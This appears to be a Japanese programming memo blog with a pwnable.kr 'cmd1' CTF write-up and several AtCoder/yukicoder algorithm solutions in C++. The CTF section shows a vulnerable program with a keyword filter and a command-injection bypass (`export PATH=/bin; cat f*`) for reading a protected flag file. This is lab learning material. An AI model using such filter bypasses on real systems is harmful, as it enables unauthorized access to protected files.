pwnable kr cmd1 メモ
解法
#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }
サーバーに置かれているプログラムは上の通り。putenvで、環境変数のPATHが上書きされてしまっているので、catが使えなくなってしまっている。
cmd1@ubuntu:~$ ./cmd1 export export HOME='/home/cmd1' export LANG='en_US.UTF-8' export LANGUAGE='en_US:' export LOGNAME='cmd1' export MAIL='/var/mail/cmd1' export PATH='/fuckyouverymuch' export PWD='/home/cmd1' export SHELL='/bin/bash' export SHLVL='1' export SSH_CLIENT='211.1.200.141 49755 22' export SSH_CONNECTION='211.1.200.141 49755 192.168.1.186 22' export SSH_TTY='/dev/pts/10' export TERM='xterm-256color' export USER='cmd1' export XDG_RUNTIME_DIR='/run/user/1025' export XDG_SESSION_ID='4735' export _='./cmd1'
そこで、
./cmd1 "export PATH=/bin"
として、PATHを上書きすることをする。
""で囲んでいるのは、空白で引数を分けないようにするため。
PATHを書き換えたあとは、cat flagをおこなえばよいが、filterで弾かれてしまうので、cat f*で逃げる。
./cmd1 "export PATH=/bin; cat f*"
;で区切っているのでは、
コマンド1; コマンド2 コマンド1を終了したら、結果に関わらずコマンド2を実行 を意味する。
ミス
Linuxの知識がない
yukicoder No.160 最短経路のうち辞書順最小
問題概要
最短経路を復元する。経路復元。
解法
ダイクストラでやる。経路復元は蟻本を参照。
気をつけることは、s->gの最短経路を求めるのではなく、今回は無向グラフであることを利用して、g->sへの最短経路を求め、そのついでにもとめられるpreを利用しなければ、辞書順最小とはならない。
ミス
そのままsからgまでの最短経路を求めて、ついでにpreに小さな頂点番号をメモしておく方法をとっていて、大量WA。
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; const int MAX_N = 210; vector<pair<int, int> > G[MAX_N]; vector<int> dijkstra(int start, int goal){//スタートとゴールを逆に vector<long long> dist(MAX_N, INF); vector<int> pre(MAX_N, -1);//pre[i] := iの前の頂点 dist[start] = 0;//dist[i] := start->iまでの最短距離 priority_queue<pair<int, int>, vector<pair<int, int> >, greater<pair<int, int> > > que; que.push(make_pair(0, start)); while(!que.empty()){ int cost, u, t;//今までにかかった時間 現在の頂点 cost = que.top().first, u = que.top().second; que.pop(); if(dist[u] < cost) continue; for (auto tmp : G[u]){ int v = tmp.first, time = tmp.second;//隣接する頂点 その頂点まで行く時間 if(dist[v] > dist[u] + time){//u->v dist[v] = dist[u] + time; pre[v] = u; que.push(make_pair(dist[v], v)); }else if(dist[v] == dist[u] + time){//辞書順最小 pre[v] = min(pre[v], u); } } } //経路復元 vector<int> path; int s = start, t = goal; for (; t != s; t = pre[t]) path.push_back(t); path.push_back(s); return path; //start-> * -> goal startからgoalまでの最短経路(辞書順最小) } signed main(void){ int n, m, s, g; scanf("%d %d %d %d", &n, &m, &s, &g); rep(i, m){ int a, b, c; scanf("%d %d %d", &a, &b, &c); G[a].pb(mp(b, c)); G[b].pb(mp(a, c)); } auto ans = dijkstra(g, s); rep(i, ans.size()){ if(i != ans.size() - 1)printf("%d ", ans[i]); else printf("%d\n", ans[i]); } return 0; }
#include <iostream> #include <string> #include <algorithm> #include <functional> #include <vector> #include <cstdio> #include <cstdlib> #include <cstring> #include <cmath> using namespace std; typedef long long ll; typedef pair<int,int> pint; typedef vector<int> vint; typedef vector<pint> vpint; #define mp make_pairt #define fi first #define se second #define all(v) (v).begin(),(v).end() #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) const int MAX_N = 200; int dist[MAX_N][MAX_N]; int distmemo[MAX_N][MAX_N];//経路復元の時に使う const int INF = 1e9; int s, g;//start goal //ワーシャルフロイド法 全点対間最短経路をもとめるとき) (0オリジンで使うこと) //dpを利用している //dist[i][i] = 0 dist[i][j](経路がないもの)= dist[j][i] = INF(1e9)で初期化しておくこと //dist[i][j] = dist[j][i] = (距離)を代入しておくこと //この関数を利用することで、dist[i][j]の値(i,j間の距離)の最小値に更新されていく //これで最短経路がもとまってる void floyd (int n){//nは頂点の数 rep(k, n) rep(i, n) rep(j, n) dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j]);//最終的に最短距離が入る //経路復元 printf("%d ", s); int now = s;//nowの次の頂点を復元する while (now != g){ rep(i, n){//全ての頂点を確かめる if (now == i) continue;//この時すでに出力済み //経路があるかどうかは distmemo[now][i] を見ればよい //これは元の経路とワーシャルフロイトによって求められた最短経路の和が最短経路と一致するかを確かめている if (dist[now][g] == distmemo[now][i] + dist[i][g] && distmemo[now][i] > 0){ now = i; if (now == g) printf("%d\n", g); else printf("%d ", now); break; } } } } int main(void){ int n, m; cin >> n >> m >> s >> g; //大きめの数字で初期化 rep(i, n)rep(j, n) dist[i][j] = dist[j][i] = INF; //復元用は0で初期化しておく?? rep(i, n)rep(j, n) distmemo[i][j] = distmemo[j][i] = 0; //同じところは0 rep(i, n) dist[i][i] = 0; //入力 rep(i, m){ int a, b, c; scanf("%d%d%d", &a,&b,&c); //a--; b--; //0オリジンへ dist[a][b] = dist[b][a] = c;//バスは往復可能なので、2つに代入すること distmemo[a][b] = distmemo[b][a] = c;//経路復元に使うメモ用 } floyd(n);//頂点の数 return 0; }
ABC 037 D - 経路
問題概要
任意のマスからスタートして、数字の大きい方へ進める。経路の総数を求める。
解法
dp[i][j]:= y=i,x=jから始めた時の経路の総数
として、再帰関数を用いて、周りの4方向どこへも進めないマスから順に埋めていけばいい。メモ化しておけばTLEにならない。
ループの順序がわかりにくい時は、メモ化再帰がやりやすい。
ミス
すぐ解けるようにしたい。オーバーフローに注意
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; int dy[] = {1, 0, -1, 0}; int dx[] = {0, 1, 0, -1}; int h, w; int a[1010][1010]; ll dp[1010][1010]; ll dfs(int y, int x){ if(dp[y][x] != -1) return dp[y][x]; ll ret = 1; rep(i, 4){ int ny = y + dy[i], nx = x + dx[i]; if(!(0 <= ny && ny < h && 0 <= nx && nx < w)) continue; if(a[y][x] < a[ny][nx]){ ret += dfs(ny, nx); ret %= MOD; } } return dp[y][x] = ret; } int main(void){ scanf("%d %d", &h, &w); rep(i, h)rep(j, w) scanf("%d", &a[i][j]); memset(dp, -1, sizeof(dp)); ll ans = 0; rep(i, h)rep(j, w) ans += dfs(i, j), ans %= MOD; printf("%lld\n", ans); return 0; }
yukicoder No.267 トランプソート
問題概要
文字列をソートする。
解法
単純に文字列を比較することはできない。ただし、1文字目は4種類、2文字目は13種類しかないので、その文字を通常のsortで比較できるように文字列をAから順に利用して置換することで、通常通りsortが行えるようになる。
ミス
比較関数が複雑なときは、比較するものを置換することでやりやすくなるかもしれない。
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; int main(void){ int n; cin >> n; vector<pair<string, string> > s; rep(i, n){ string t; cin >> t; string d = ""; if(t[0] == 'D') d += 'A'; else if(t[0] == 'C') d += 'B'; else if(t[0] == 'H') d += 'C'; else if(t[0] == 'S') d += 'D'; if('2' <= t[1] && t[1] <= '9') d += 'A' + (t[1] - '1'); else if(t[1] == 'A') d += 'A'; else if(t[1] == 'T') d += 'M'; else if(t[1] == 'J') d += 'N'; else if(t[1] == 'Q') d += 'O'; else if(t[1] == 'K') d += 'P'; s.pb(mp(d, t)); } sort(all(s)); rep(i, n){ cout << s[i].se << " "; } cout << endl; return 0; }
yukicoder No.18 うーさー暗号
問題概要
i文字目はi文字前へずらしら文字に置換した文字列を求める問題。
解法
Aからのindexを求めて、i番目ならi文字前へずらせば良い。ただし、そのまま
d -= i + 1
としてしまうと、マイナスになる場合もあるので、先に2600(=0(mod26))ぐらいの数字を足しておいた。
ミス
なし。
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; int main(void){ string s; cin >> s; string ans = ""; rep(i, s.size()){ int d = s[i] - 'A'; d += 2600; d -= i + 1; d %= 26; ans += 'A' + d; } cout << ans << endl; return 0; }
ABC 036 C - 座圧
問題概要
座標を圧縮する問題。
解法
与えられた数字を座圧する問題。ソートした後に、重複を消去し、二分探索で元の数字のindexを調べれば、圧縮後の座標がわかる。
ミス
なし。
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; int main(void){ int n; cin >> n; vector<int> a(n); rep(i, n) cin >> a[i]; auto t = a; sort(all(t)); t.erase(unique(all(t)), t.end()); for(auto u : a){ cout << lower_bound(all(t), u) - t.begin() << endl; } return 0; }
ABC 035 D - トレジャーハント
問題概要
省略
解法
一つの場所でできるだけ長く滞在すれば良い。できるだけ長く滞在するには、ある頂点iまで最短距離で行き、iからスタート時点まで最短距離で戻ってこればよい。そして残りの時間滞在すれば良いことになる。
求めるものは、0->iまでi->0までの最短距離である。
これは、単純に始点を0から始めたダイクストラと、グラフの矢印の方向を逆にしたグラフで始点を0にしたダイクストラで求めた最短距離を使えば求められる。
ミス
なし。
コード
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef vector<int> vint; typedef pair<int,int> pint; typedef vector<pint> vpint; #define rep(i,n) for(int i=0;i<(n);i++) #define reps(i,f,n) for(int i=(f);i<(n);i++) #define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++) #define all(v) (v).begin(),(v).end() #define pb push_back #define mp make_pair #define fi first #define se second #define chmax(a, b) a = (((a)<(b)) ? (b) : (a)) #define chmin(a, b) a = (((a)>(b)) ? (b) : (a)) const int MOD = 1e9 + 7; const int INF = 1e9; #define int long long const int MAX_N = 200010; vector<pair<int, int> > G[MAX_N]; vector<int> dijkstra(int start){ vector<int> dist(MAX_N, INF); dist[start] = 0;//dist[i] := start->iまでの最短距離 priority_queue<pair<int, int>, vector<pair<int, int> >, greater<pair<int, int> > > que; que.push(make_pair(0, start)); while(!que.empty()){ int cost, u, t;//今までにかかった時間 現在の頂点 cost = que.top().first, u = que.top().second; que.pop(); if(dist[u] < cost) continue; for (auto tmp : G[u]){ int v = tmp.first, time = tmp.second;//隣接する頂点 その頂点まで行く時間 if(dist[v] > dist[u] + time){//u->v dist[v] = dist[u] + time; que.push(make_pair(dist[v], v)); } } } return dist; } int n, m, t; int A[200010]; int a[100010], b[100010], c[100010]; signed main(void){ cin >> n >> m >> t; rep(i, n) cin >> A[i]; rep(i, m){ cin >> a[i] >> b[i] >> c[i]; a[i]--, b[i]--; G[a[i]].pb(mp(b[i], c[i])); } auto dist1 = dijkstra(0); rep(i, MAX_N){ G[i].clear(); } rep(i, m){ G[b[i]].pb(mp(a[i], c[i])); } auto dist2 = dijkstra(0); ll ans = 0; rep(i, n){ if(dist1[i] + dist2[i] <= t){ ll d = (t - dist1[i] - dist2[i]) * A[i]; chmax(ans, d); } } cout << ans << endl; return 0; }
